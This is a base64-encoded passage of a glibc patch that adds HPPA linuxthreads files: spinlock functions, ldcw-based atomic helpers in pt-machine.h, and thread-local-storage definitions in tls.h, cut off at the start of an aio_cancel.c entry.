cml0ZSB0byB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMuLCA1OSBUZW1wbGUgUGxh
Y2UgLSBTdWl0ZSAzMzAsCisgICBCb3N0b24sIE1BIDAyMTExLTEzMDcsIFVTQS4gICovCisKKyNp
bmNsdWRlIDxlcnJuby5oPgorI2luY2x1ZGUgPHB0aHJlYWQuaD4KKyNpbmNsdWRlICJpbnRlcm5h
bHMuaCIKKworaW50CitfX3B0aHJlYWRfc3Bpbl9sb2NrIChwdGhyZWFkX3NwaW5sb2NrX3QgKmxv
Y2spCit7CisgIHZvbGF0aWxlIHVuc2lnbmVkIGludCAqYWRkciA9IF9fbGRjd19hbGlnbiAobG9j
ayk7CisKKyAgd2hpbGUgKF9fbGRjdyAoYWRkcikgPT0gMCkKKyAgICB3aGlsZSAoKmFkZHIgPT0g
MCkgOworCisgIHJldHVybiAwOworfQord2Vha19hbGlhcyAoX19wdGhyZWFkX3NwaW5fbG9jaywg
cHRocmVhZF9zcGluX2xvY2spCisKKworaW50CitfX3B0aHJlYWRfc3Bpbl90cnlsb2NrIChwdGhy
ZWFkX3NwaW5sb2NrX3QgKmxvY2spCit7CisgIHZvbGF0aWxlIHVuc2lnbmVkIGludCAqYSA9IF9f
bGRjd19hbGlnbiAobG9jayk7CisKKyAgcmV0dXJuIF9fbGRjdyAoYSkgPyAwIDogRUJVU1k7Cit9
Cit3ZWFrX2FsaWFzIChfX3B0aHJlYWRfc3Bpbl90cnlsb2NrLCBwdGhyZWFkX3NwaW5fdHJ5bG9j
aykKKworCitpbnQKK19fcHRocmVhZF9zcGluX3VubG9jayAocHRocmVhZF9zcGlubG9ja190ICps
b2NrKQoreworICB2b2xhdGlsZSB1bnNpZ25lZCBpbnQgKmEgPSBfX2xkY3dfYWxpZ24gKGxvY2sp
OworICBpbnQgdG1wID0gMTsKKyAgLyogVGhpcyBzaG91bGQgYmUgYSBtZW1vcnkgYmFycmllciB0
byBuZXdlciBjb21waWxlcnMgKi8KKyAgX19hc21fXyBfX3ZvbGF0aWxlX18gKCJzdHcsbWEgJTEs
MCglMCkiCisgICAgICAgICAgICAgICAgICAgICAgICA6IDogInIiIChhKSwgInIiICh0bXApIDog
Im1lbW9yeSIpOyAgICAgICAgICAgCisgIHJldHVybiAwOworfQord2Vha19hbGlhcyAoX19wdGhy
ZWFkX3NwaW5fdW5sb2NrLCBwdGhyZWFkX3NwaW5fdW5sb2NrKQorCisKK2ludAorX19wdGhyZWFk
X3NwaW5faW5pdCAocHRocmVhZF9zcGlubG9ja190ICpsb2NrLCBpbnQgcHNoYXJlZCkKK3sKKyAg
LyogV2UgY2FuIGlnbm9yZSB0aGUgYHBzaGFyZWQnIHBhcmFtZXRlci4gIFNpbmNlIHdlIGFyZSBi
dXN5LXdhaXRpbmcKKyAgICAgYWxsIHByb2Nlc3NlcyB3aGljaCBjYW4gYWNjZXNzIHRoZSBtZW1v
cnkgbG9jYXRpb24gYGxvY2snIHBvaW50cworICAgICB0byBjYW4gdXNlIHRoZSBzcGlubG9jay4g
ICovCisgIHZvbGF0aWxlIHVuc2lnbmVkIGludCAqYSA9IF9fbGRjd19hbGlnbiAobG9jayk7Cisg
IGludCB0bXAgPSAxOworICAvKiBUaGlzIHNob3VsZCBiZSBhIG1lbW9yeSBiYXJyaWVyIHRvIG5l
d2VyIGNvbXBpbGVycyAqLworICBfX2FzbV9fIF9fdm9sYXRpbGVfXyAoInN0dyxtYSAlMSwwKCUw
KSIKKyAgICAgICAgICAgICAgICAgICAgICAgIDogOiAiciIgKGEpLCAiciIgKHRtcCkgOiAibWVt
b3J5Iik7ICAgICAgICAgICAKKyAgcmV0dXJuIDA7Cit9Cit3ZWFrX2FsaWFzIChfX3B0aHJlYWRf
c3Bpbl9pbml0LCBwdGhyZWFkX3NwaW5faW5pdCkKKworCitpbnQKK19fcHRocmVhZF9zcGluX2Rl
c3Ryb3kgKHB0aHJlYWRfc3BpbmxvY2tfdCAqbG9jaykKK3sKKyAgLyogTm90aGluZyB0byBkby4g
ICovCisgIHJldHVybiAwOworfQord2Vha19hbGlhcyAoX19wdGhyZWFkX3NwaW5fZGVzdHJveSwg
cHRocmVhZF9zcGluX2Rlc3Ryb3kpCkluZGV4OiBzeXNkZXBzL2hwcGEvbGludXh0aHJlYWRzL3B0
LW1hY2hpbmUuaAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09ClJDUyBmaWxlOiBzeXNkZXBzL2hwcGEvbGludXh0aHJlYWRz
L3B0LW1hY2hpbmUuaApkaWZmIC1OIHN5c2RlcHMvaHBwYS9saW51eHRocmVhZHMvcHQtbWFjaGlu
ZS5oCi0tLSAvZGV2L251bGwJMSBKYW4gMTk3MCAwMDowMDowMCAtMDAwMAorKysgc3lzZGVwcy9o
cHBhL2xpbnV4dGhyZWFkcy9wdC1tYWNoaW5lLmgJMTQgQXByIDIwMDYgMjE6MTk6NTUgLTAwMDAK
QEAgLTAsMCArMSwxMzQgQEAKKy8qIE1hY2hpbmUtZGVwZW5kZW50IHB0aHJlYWRzIGNvbmZpZ3Vy
YXRpb24gYW5kIGlubGluZSBmdW5jdGlvbnMuCisgICBocHBhIHZlcnNpb24uCisgICBDb3B5cmln
aHQgKEMpIDIwMDAsIDIwMDIsIDIwMDMgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMuCisg
ICBUaGlzIGZpbGUgaXMgcGFydCBvZiB0aGUgR05VIEMgTGlicmFyeS4KKyAgIENvbnRyaWJ1dGVk
IGJ5IFJpY2hhcmQgSGVuZGVyc29uIDxydGhAdGFtdS5lZHU+LgorCisgICBUaGUgR05VIEMgTGli
cmFyeSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IKKyAg
IG1vZGlmeSBpdCB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJs
aWMgTGljZW5zZSBhcworICAgcHVibGlzaGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRp
b247IGVpdGhlciB2ZXJzaW9uIDIuMSBvZiB0aGUKKyAgIExpY2Vuc2UsIG9yIChhdCB5b3VyIG9w
dGlvbikgYW55IGxhdGVyIHZlcnNpb24uCisKKyAgIFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGRpc3Ry
aWJ1dGVkIGluIHRoZSBob3BlIHRoYXQgaXQgd2lsbCBiZSB1c2VmdWwsCisgICBidXQgV0lUSE9V
VCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZgorICAg
TUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLiAgU2Vl
IHRoZSBHTlUKKyAgIExlc3NlciBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFp
bHMuCisKKyAgIFlvdSBzaG91bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBMZXNz
ZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYWxvbmcgd2l0aCB0aGUgR05VIEMgTGlicmFy
eTsgc2VlIHRoZSBmaWxlIENPUFlJTkcuTElCLiAgSWYgbm90LAorICAgd3JpdGUgdG8gdGhlIEZy
ZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLiwgNTkgVGVtcGxlIFBsYWNlIC0gU3VpdGUgMzMw
LAorICAgQm9zdG9uLCBNQSAwMjExMS0xMzA3LCBVU0EuICAqLworCisjaWZuZGVmIF9QVF9NQUNI
SU5FX0gKKyNkZWZpbmUgX1BUX01BQ0hJTkVfSCAgIDEKKworI2luY2x1ZGUgPHN5cy90eXBlcy5o
PgorI2luY2x1ZGUgPGJpdHMvaW5pdHNwaW4uaD4KKworI2lmbmRlZiBQVF9FSQorIyBkZWZpbmUg
UFRfRUkgZXh0ZXJuIGlubGluZSBfX2F0dHJpYnV0ZV9fICgoYWx3YXlzX2lubGluZSkpCisjZW5k
aWYKKworZXh0ZXJuIGlubGluZSBsb25nIGludCB0ZXN0YW5kc2V0IChfX2F0b21pY19sb2NrX3Qg
KnNwaW5sb2NrKTsKK2V4dGVybiBpbmxpbmUgaW50IF9fY29tcGFyZV9hbmRfc3dhcCAobG9uZyBp
bnQgKnAsIGxvbmcgaW50IG9sZHZhbCwgbG9uZyBpbnQgbmV3dmFsKTsKK2V4dGVybiBpbmxpbmUg
aW50IGxvY2tfaGVsZCAoX19hdG9taWNfbG9ja190ICpzcGlubG9jayk7IAorZXh0ZXJuIGlubGlu
ZSBpbnQgX19sb2FkX2FuZF9jbGVhciAoX19hdG9taWNfbG9ja190ICpzcGlubG9jayk7CisKKy8q
IEdldCBzb21lIG5vdGlvbiBvZiB0aGUgY3VycmVudCBzdGFjay4gIE5lZWQgbm90IGJlIGV4YWN0
bHkgdGhlIHRvcAorICAgb2YgdGhlIHN0YWNrLCBqdXN0IHNvbWV0aGluZyBzb21ld2hlcmUgaW4g
dGhlIGN1cnJlbnQgZnJhbWUuICAqLworI2RlZmluZSBDVVJSRU5UX1NUQUNLX0ZSQU1FICBzdGFj
a19wb2ludGVyCityZWdpc3RlciBjaGFyICogc3RhY2tfcG9pbnRlciBfX2FzbV9fICgiJXIzMCIp
OworCisvKiBHZXQvU2V0IHRocmVhZC1zcGVjaWZpYyBwb2ludGVyLiAgV2UgaGF2ZSB0byBjYWxs
IGludG8gdGhlIGtlcm5lbCB0bworICogbW9kaWZ5IGl0LCBidXQgd2UgY2FuIHJlYWQgaXQgaW4g
dXNlciBtb2RlLiAgKi8KKyNpZm5kZWYgVEhSRUFEX1NFTEYKKyNkZWZpbmUgVEhSRUFEX1NFTEYg
X19nZXRfY3IyNygpCisjZW5kaWYKKworI2lmbmRlZiBTRVRfVEhSRUFEX1NFTEYKKyNkZWZpbmUg
U0VUX1RIUkVBRF9TRUxGKGRlc2NyKSBfX3NldF9jcjI3KGRlc2NyKQorI2VuZGlmCisvKiBVc2Ug
dGhpcyB0byBkZXRlcm1pbmUgdHlwZSAqLworc3RydWN0IF9wdGhyZWFkX2Rlc2NyX3N0cnVjdCAq
X190aHJlYWRfc2VsZjsKKworc3RhdGljIGlubGluZSBzdHJ1Y3QgX3B0aHJlYWRfZGVzY3Jfc3Ry
dWN0ICogX19nZXRfY3IyNyh2b2lkKQoreworICBsb25nIGNyMjc7CisgIGFzbSAoIm1mY3RsICUl
Y3IyNywgJTAiIDogIj1yIiAoY3IyNykgOiApOworICByZXR1cm4gKHN0cnVjdCBfcHRocmVhZF9k
ZXNjcl9zdHJ1Y3QgKikgY3IyNzsKK30KKworI2lmbmRlZiBJTklUX1RIUkVBRF9TRUxGCisjZGVm
aW5lIElOSVRfVEhSRUFEX1NFTEYoZGVzY3IsIG5yKSBfX3NldF9jcjI3KGRlc2NyKQorI2VuZGlm
CisKK3N0YXRpYyBpbmxpbmUgdm9pZCBfX3NldF9jcjI3KHN0cnVjdCBfcHRocmVhZF9kZXNjcl9z
dHJ1Y3QgKiBjcjI3KQoreworICBhc20gKCAiYmxlCTB4ZTAoJSVzcjIsICUlcjApXG5cdCIKKwki
Y29weQklMCwgJSVyMjYiCisJOiA6ICJyIiAoY3IyNykgOiAicjI2IiApOworfQorCisvKiBXZSB3
YW50IHRoZSBPUyB0byBhc3NpZ24gc3RhY2sgYWRkcmVzc2VzLiAgKi8KKyNkZWZpbmUgRkxPQVRJ
TkdfU1RBQ0tTCTEKKyNkZWZpbmUgQVJDSF9TVEFDS19NQVhfU0laRQk4KjEwMjQqMTAyNAorCisv
KiBUaGUgaHBwYSBvbmx5IGhhcyBvbmUgYXRvbWljIHJlYWQgYW5kIG1vZGlmeSBtZW1vcnkgb3Bl
cmF0aW9uLAorICAgbG9hZCBhbmQgY2xlYXIsIHNvIGhwcGEgc3BpbmxvY2tzIG11c3QgdXNlIHpl
cm8gdG8gc2lnbmlmeSB0aGF0CisgICBzb21lb25lIGlzIGhvbGRpbmcgdGhlIGxvY2suICBUaGUg
YWRkcmVzcyB1c2VkIGZvciB0aGUgbGRjdworICAgc2VtYXBob3JlIG11c3QgYmUgMTYtYnl0ZSBh
bGlnbmVkLiAgKi8KKyNkZWZpbmUgX19sZGN3KGEpIFwKKyh7IAkJCQkJCQkJCVwKKyAgdW5zaWdu
ZWQgaW50IF9fcmV0OwkJCQkJCQlcCisgIF9fYXNtX18gX192b2xhdGlsZV9fKCJsZGN3IDAoJTEp
LCUwIgkJCQkJXAorICAgICAgICAgICAgICAgICAgICAgIDogIj1yIiAoX19yZXQpIDogInIiIChh
KSA6ICJtZW1vcnkiKTsJCVwKKyAgX19yZXQ7CQkJCQkJCQlcCit9KQorCisvKiBTdHJvbmdseSBv
cmRlcmVkIGxvY2sgcmVzZXQgKi8KKyNkZWZpbmUgX19sb2NrX3Jlc2V0KGxvY2tfYWRkciwgdG1w
KSBcCisoewkJCQkJCQkJCQlcCisJX19hc21fXyBfX3ZvbGF0aWxlX18gKCJzdHcsbWEgJTEsMCgl
MCkiCQkJCQlcCisJCQkJOiA6ICJyIiAobG9ja19hZGRyKSwgInIiICh0bXApIDogIm1lbW9yeSIp
OyAJXAorfSkKKworLyogQmVjYXVzZSBtYWxsb2Mgb25seSBndWFyYW50ZWVzIDgtYnl0ZSBhbGln
bm1lbnQgZm9yIG1hbGxvYydkIGRhdGEsCisgICBhbmQgR0NDIG9ubHkgZ3VhcmFudGVlcyA4LWJ5
dGUgYWxpZ25tZW50IGZvciBzdGFjayBsb2NhbHMsIHdlIGNhbid0CisgICBiZSBhc3N1cmVkIG9m
IDE2LWJ5dGUgYWxpZ25tZW50IGZvciBhdG9taWMgbG9jayBkYXRhIGV2ZW4gaWYgd2UKKyAgIHNw
ZWNpZnkgIl9fYXR0cmlidXRlICgoYWxpZ25lZCgxNikpKSIgaW4gdGhlIHR5cGUgZGVjbGFyYXRp
b24uICBTbywKKyAgIHdlIHVzZSBhIHN0cnVjdCBjb250YWluaW5nIGFuIGFycmF5IG9mIGZvdXIg
aW50cyBmb3IgdGhlIGF0b21pYyBsb2NrCisgICB0eXBlIGFuZCBkeW5hbWljYWxseSBzZWxlY3Qg
dGhlIDE2LWJ5dGUgYWxpZ25lZCBpbnQgZnJvbSB0aGUgYXJyYXkKKyAgIGZvciB0aGUgc2VtYXBo
b3JlLiAgKi8KKyNkZWZpbmUgX19QQV9MRENXX0FMSUdOTUVOVCAxNgorI2RlZmluZSBfX2xkY3df
YWxpZ24oYSkgKHsgXAorICB2b2xhdGlsZSB1bnNpZ25lZCBpbnQgX19yZXQgPSAodW5zaWduZWQg
aW50KSBhOwkJCVwKKyAgaWYgKChfX3JldCAmIH4oX19QQV9MRENXX0FMSUdOTUVOVCAtIDEpKSA8
ICh1bnNpZ25lZCBpbnQpIGEpCQlcCisgICAgX19yZXQgPSAoX19yZXQgJiB+KF9fUEFfTERDV19B
TElHTk1FTlQgLSAxKSkgKyBfX1BBX0xEQ1dfQUxJR05NRU5UOyBcCisgICh1bnNpZ25lZCBpbnQg
KikgX19yZXQ7CQkJCQkJXAorfSkKKworLyogU3BpbmxvY2sgaW1wbGVtZW50YXRpb247IHJlcXVp
cmVkLiAgKi8KK1BUX0VJIGludAorX19sb2FkX2FuZF9jbGVhciAoX19hdG9taWNfbG9ja190ICpz
cGlubG9jaykKK3sKKyAgdm9sYXRpbGUgdW5zaWduZWQgaW50ICphID0gX19sZGN3X2FsaWduIChz
cGlubG9jayk7CisKKyAgcmV0dXJuIF9fbGRjdyAoYSk7Cit9CisKKy8qIEVtdWxhdGUgdGVzdGFu
ZHNldCAqLworUFRfRUkgbG9uZyBpbnQKK3Rlc3RhbmRzZXQgKF9fYXRvbWljX2xvY2tfdCAqc3Bp
bmxvY2spCit7CisgIHJldHVybiAoX19sb2FkX2FuZF9jbGVhcihzcGlubG9jaykgPT0gMCk7Cit9
CisKK1BUX0VJIGludAorbG9ja19oZWxkIChfX2F0b21pY19sb2NrX3QgKnNwaW5sb2NrKQorewor
ICB2b2xhdGlsZSB1bnNpZ25lZCBpbnQgKmEgPSBfX2xkY3dfYWxpZ24gKHNwaW5sb2NrKTsKKwor
ICByZXR1cm4gKmEgPT0gMDsKK30KKwkJCisjZW5kaWYgLyogcHQtbWFjaGluZS5oICovCkluZGV4
OiBzeXNkZXBzL2hwcGEvbGludXh0aHJlYWRzL3Rscy5oCj09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KUkNTIGZpbGU6IHN5
c2RlcHMvaHBwYS9saW51eHRocmVhZHMvdGxzLmgKZGlmZiAtTiBzeXNkZXBzL2hwcGEvbGludXh0
aHJlYWRzL3Rscy5oCi0tLSAvZGV2L251bGwJMSBKYW4gMTk3MCAwMDowMDowMCAtMDAwMAorKysg
c3lzZGVwcy9ocHBhL2xpbnV4dGhyZWFkcy90bHMuaAkxNCBBcHIgMjAwNiAyMToxOTo1NSAtMDAw
MApAQCAtMCwwICsxLDE2MCBAQAorLyogRGVmaW5pdGlvbiBmb3IgdGhyZWFkLWxvY2FsIGRhdGEg
aGFuZGxpbmcuICBsaW51eHRocmVhZHMvaHBwYSB2ZXJzaW9uLgorICAgQ29weXJpZ2h0IChDKSAy
MDA1IEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLgorICAgVGhpcyBmaWxlIGlzIHBhcnQg
b2YgdGhlIEdOVSBDIExpYnJhcnkuCisKKyAgIFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGZyZWUgc29m
dHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0IGFuZC9vcgorICAgbW9kaWZ5IGl0IHVuZGVy
IHRoZSB0ZXJtcyBvZiB0aGUgR05VIExlc3NlciBHZW5lcmFsIFB1YmxpYworICAgTGljZW5zZSBh
cyBwdWJsaXNoZWQgYnkgdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbjsgZWl0aGVyCisgICB2
ZXJzaW9uIDIuMSBvZiB0aGUgTGljZW5zZSwgb3IgKGF0IHlvdXIgb3B0aW9uKSBhbnkgbGF0ZXIg
dmVyc2lvbi4KKworICAgVGhlIEdOVSBDIExpYnJhcnkgaXMgZGlzdHJpYnV0ZWQgaW4gdGhlIGhv
cGUgdGhhdCBpdCB3aWxsIGJlIHVzZWZ1bCwKKyAgIGJ1dCBXSVRIT1VUIEFOWSBXQVJSQU5UWTsg
d2l0aG91dCBldmVuIHRoZSBpbXBsaWVkIHdhcnJhbnR5IG9mCisgICBNRVJDSEFOVEFCSUxJVFkg
b3IgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuICBTZWUgdGhlIEdOVQorICAgTGVz
c2VyIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgZm9yIG1vcmUgZGV0YWlscy4KKworICAgWW91IHNo
b3VsZCBoYXZlIHJlY2VpdmVkIGEgY29weSBvZiB0aGUgR05VIExlc3NlciBHZW5lcmFsIFB1Ymxp
YworICAgTGljZW5zZSBhbG9uZyB3aXRoIHRoZSBHTlUgQyBMaWJyYXJ5OyBpZiBub3QsIHdyaXRl
IHRvIHRoZSBGcmVlCisgICBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMuLCA1OSBUZW1wbGUgUGxh
Y2UsIFN1aXRlIDMzMCwgQm9zdG9uLCBNQQorICAgMDIxMTEtMTMwNyBVU0EuICAqLworCisjaWZu
ZGVmIF9UTFNfSAorI2RlZmluZSBfVExTX0gKKworI2lmbmRlZiBfX0FTU0VNQkxFUl9fCisjIGlu
Y2x1ZGUgPHB0LW1hY2hpbmUuaD4KKyMgaW5jbHVkZSA8c3RkYm9vbC5oPgorIyBpbmNsdWRlIDxz
dGRkZWYuaD4KKworLyogVHlwZSBmb3IgdGhlIGR0di4gICovCit0eXBlZGVmIHVuaW9uIGR0dgor
eworICBzaXplX3QgY291bnRlcjsKKyAgc3RydWN0CisgIHsKKyAgICB2b2lkICp2YWw7CisgICAg
Ym9vbCBpc19zdGF0aWM7CisgIH0gcG9pbnRlcjsKK30gZHR2X3Q7CisKKyNlbHNlIC8qIF9fQVNT
RU1CTEVSX18gKi8KKyMgaW5jbHVkZSA8dGNiLW9mZnNldHMuaD4KKyNlbmRpZiAvKiBfX0FTU0VN
QkxFUl9fICovCisKKworI2lmIGRlZmluZWQgSEFWRV9UTFNfU1VQUE9SVCAKKworLyogU2lnbmFs
IHRoYXQgVExTIHN1cHBvcnQgaXMgYXZhaWxhYmxlLiAgKi8KKyMgZGVmaW5lIFVTRV9UTFMJMQor
CisjIGlmbmRlZiBfX0FTU0VNQkxFUl9fCisKK3R5cGVkZWYgc3RydWN0Cit7CisgIGR0dl90ICpk
dHY7CisgIHZvaWQgKnByaXZhdGU7Cit9IHRjYmhlYWRfdDsKKworLyogVGhpcyBpcyB0aGUgc2l6
ZSBvZiB0aGUgaW5pdGlhbCBUQ0IuICAqLworIyAgZGVmaW5lIFRMU19JTklUX1RDQl9TSVpFIHNp
emVvZiAodGNiaGVhZF90KQorCisvKiBBbGlnbm1lbnQgcmVxdWlyZW1lbnRzIGZvciB0aGUgaW5p
dGlhbCBUQ0IuICAqLworIyAgZGVmaW5lIFRMU19JTklUX1RDQl9BTElHTiBfX2FsaWdub2ZfXyAo
dGNiaGVhZF90KQorCisvKiBUaGlzIGlzIHRoZSBzaXplIG9mIHRoZSBUQ0IuICAqLworIyAgZGVm
aW5lIFRMU19UQ0JfU0laRSBzaXplb2YgKHRjYmhlYWRfdCkKKworLyogVGhpcyBpcyB0aGUgc2l6
ZSB3ZSBuZWVkIGJlZm9yZSBUQ0IuICAqLworIyAgZGVmaW5lIFRMU19QUkVfVENCX1NJWkUgc2l6
ZW9mIChzdHJ1Y3QgX3B0aHJlYWRfZGVzY3Jfc3RydWN0KQorCisvKiBBbGlnbm1lbnQgcmVxdWly
ZW1lbnRzIGZvciB0aGUgVENCLiAgKi8KKyMgIGRlZmluZSBUTFNfVENCX0FMSUdOIF9fYWxpZ25v
Zl9fIChzdHJ1Y3QgX3B0aHJlYWRfZGVzY3Jfc3RydWN0KQorCisvKiBUaGUgVExTIGJsb2NrcyBz
dGFydCByaWdodCBhZnRlciB0aGUgVENCLiAgKi8KKyMgIGRlZmluZSBUTFNfRFRWX0FUX1RQCTEK
KworLyogUmV0dXJuIHRoZSB0aHJlYWQgZGVzY3JpcHRvciBmb3IgdGhlIGN1cnJlbnQgdGhyZWFk
LiAgKi8KKyMgIHVuZGVmIFRIUkVBRF9TRUxGCisjICBkZWZpbmUgVEhSRUFEX1NFTEYgCQkJCVwK
KyAgKHsgc3RydWN0IF9wdGhyZWFkX2Rlc2NyX3N0cnVjdCAqX19zZWxmOwlcCisJX19zZWxmID0g
X19nZXRfY3IyNygpOwkJCVwKKyAgIAlfX3NlbGYgLSAxOwkJCQlcCisgICB9KQorCisjICB1bmRl
ZiBJTklUX1RIUkVBRF9TRUxGCisjICBkZWZpbmUgSU5JVF9USFJFQURfU0VMRihkZXNjciwgbnIp
IAkJCQlcCisgICh7IHN0cnVjdCBfcHRocmVhZF9kZXNjcl9zdHJ1Y3QgKl9fc2VsZiA9ICh2b2lk
ICopZGVzY3I7CVwKKwlfX3NldF9jcjI3KF9fc2VsZiArIDEpOwkJCQkJXAorICAgCTA7CQkJCQkJ
CVwKKyAgIH0pCisKKy8qIEFjY2VzcyB0byBkYXRhIGluIHRoZSB0aHJlYWQgZGVzY3JpcHRvciBp
cyBlYXN5LiAgKi8KKyNkZWZpbmUgVEhSRUFEX0dFVE1FTShkZXNjciwgbWVtYmVyKSBcCisgICgo
dm9pZCkgc2l6ZW9mIChkZXNjciksIFRIUkVBRF9TRUxGLT5tZW1iZXIpCisjZGVmaW5lIFRIUkVB
RF9HRVRNRU1fTkMoZGVzY3IsIG1lbWJlcikgXAorICAoKHZvaWQpIHNpemVvZiAoZGVzY3IpLCBU
SFJFQURfU0VMRi0+bWVtYmVyKQorI2RlZmluZSBUSFJFQURfU0VUTUVNKGRlc2NyLCBtZW1iZXIs
IHZhbHVlKSBcCisgICgodm9pZCkgc2l6ZW9mIChkZXNjciksIFRIUkVBRF9TRUxGLT5tZW1iZXIg
PSAodmFsdWUpKQorI2RlZmluZSBUSFJFQURfU0VUTUVNX05DKGRlc2NyLCBtZW1iZXIsIHZhbHVl
KSBcCisgICgodm9pZCkgc2l6ZW9mIChkZXNjciksIFRIUkVBRF9TRUxGLT5tZW1iZXIgPSAodmFs
dWUpKQorCisvKiBJbnN0YWxsIHRoZSBkdHYgcG9pbnRlci4gIFRoZSBwb2ludGVyIHBhc3NlZCBp
cyB0byB0aGUgZWxlbWVudCB3aXRoCisgICBpbmRleCAtMSB3aGljaCBjb250YWluIHRoZSBsZW5n
dGguICAqLworIyAgZGVmaW5lIElOU1RBTExfRFRWKHRjYnAsIGR0dnApIFwKKyAgKCh0Y2JoZWFk
X3QgKikgKHRjYnApKS0+ZHR2ID0gZHR2cCArIDEKKworLyogSW5zdGFsbCBuZXcgZHR2IGZvciBj
dXJyZW50IHRocmVhZC4gICovCisjICBkZWZpbmUgSU5TVEFMTF9ORVdfRFRWKGR0dikgXAorICAo
eyB0Y2JoZWFkX3QgKl9fdGNicCA9ICh0Y2JoZWFkX3QgKilfX2dldF9jcjI3KCk7CVwKKyAgIAlf
X3RjYnAtPmR0diA9IGR0djsJCQkJXAorICAgfSkKKworLyogUmV0dXJuIGR0diBvZiBnaXZlbiB0
aHJlYWQgZGVzY3JpcHRvci4gICovCisjICBkZWZpbmUgR0VUX0RUVih0Y2JwKSBcCisgICgoKHRj
YmhlYWRfdCAqKSAodGNicCkpLT5kdHYpCisKKy8qIENvZGUgdG8gaW5pdGlhbGx5IGluaXRpYWxp
emUgdGhlIHRocmVhZCBwb2ludGVyLiAgVGhpcyBtaWdodCBuZWVkCisgICBzcGVjaWFsIGF0dGVu
dGlvbiBzaW5jZSAnZXJybm8nIGlzIG5vdCB5ZXQgYXZhaWxhYmxlIGFuZCBpZiB0aGUKKyAgIG9w
ZXJhdGlvbiBjYW4gY2F1c2UgYSBmYWlsdXJlICdlcnJubycgbXVzdCBub3QgYmUgdG91Y2hlZC4g
ICovCisjICBkZWZpbmUgVExTX0lOSVRfVFAodGNicCwgc2Vjb25kY2FsbCkgXAorICAoeyBfX3Nl
dF9jcjI3KHRjYnApOyAwOyB9KQorCisvKiBSZXR1cm4gdGhlIGFkZHJlc3Mgb2YgdGhlIGR0diBm
b3IgdGhlIGN1cnJlbnQgdGhyZWFkLiAgKi8KKyMgIGRlZmluZSBUSFJFQURfRFRWKCkgCQkJCQlc
CisgICh7IHRjYmhlYWRfdCAqX190Y2JwID0gKHRjYmhlYWRfdCAqKV9fZ2V0X2NyMjcoKTsJXAor
ICAgCV9fdGNicC0+ZHR2OwkJCQkJXAorICAgfSkKKworIyBkZWZpbmUgVExTX01VTFRJUExFX1RI
UkVBRFNfSU5fVENCIDEKKworLyogR2V0IHRoZSB0aHJlYWQgZGVzY3JpcHRvciBkZWZpbml0aW9u
LiAgVGhpcyBtdXN0IGJlIGFmdGVyIHRoZQorICAgdGhlIGRlZmluaXRpb24gb2YgVEhSRUFEX1NF
TEYgZm9yIFRMUy4gICovCisjICBpbmNsdWRlIDxsaW51eHRocmVhZHMvZGVzY3IuaD4KKworIyBl
bmRpZiAvKiBfX0FTU0VNQkxFUl9fICovCisKKyNlbHNlCisKKyMgaWZuZGVmIF9fQVNTRU1CTEVS
X18KKwordHlwZWRlZiBzdHJ1Y3QKK3sKKyAgdm9pZCAqdGNiOworICBkdHZfdCAqZHR2OworICB2
b2lkICpzZWxmOworICBpbnQgbXVsdGlwbGVfdGhyZWFkczsKK30gdGNiaGVhZF90OworCisvKiBH
ZXQgdGhlIHRocmVhZCBkZXNjcmlwdG9yIGRlZmluaXRpb24uICAqLworIyAgaW5jbHVkZSA8bGlu
dXh0aHJlYWRzL2Rlc2NyLmg+CisKKyMgIGRlZmluZSBOT05UTFNfSU5JVF9UUCBcCisgIGRvIHsg
CQkJCQkJCQkJXAorICAgIHN0YXRpYyBjb25zdCB0Y2JoZWFkX3Qgbm9udGxzX2luaXRfdHAgPSB7
IC5tdWx0aXBsZV90aHJlYWRzID0gMCB9OwlcCisgICAgSU5JVF9USFJFQURfU0VMRigmbm9udGxz
X2luaXRfdHAsIDApOwkgICAgICAJCQlcCisgIH0gd2hpbGUgKDApCisKKyMgZW5kaWYgLyogX19B
U1NFTUJMRVJfXyAqLworCisjZW5kaWYJLyogSEFWRV9UTFNfU1VQUE9SVCAqLworCisjZW5kaWYJ
LyogdGxzLmggKi8KSW5kZXg6IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbGludXh0aHJl
YWRzL2Fpb19jYW5jZWwuYwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBmaWxlOiBzeXNkZXBzL3VuaXgvc3lzdi9s
aW51eC9ocHBhL2xpbnV4dGhyZWFkcy9haW9fY2FuY2VsLmMKZGlmZiAtTiBzeXNkZXBzL3VuaXgv
c3lzdi9saW51eC9ocHBhL2xpbnV4dGhyZWFkcy9haW9fY2FuY2VsLmMKLS0tIC9kZXYvbnVsbAkx
IEphbiAxOTcwIDAwOjAwOjAwIC0wMDAwCisrKyBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBh
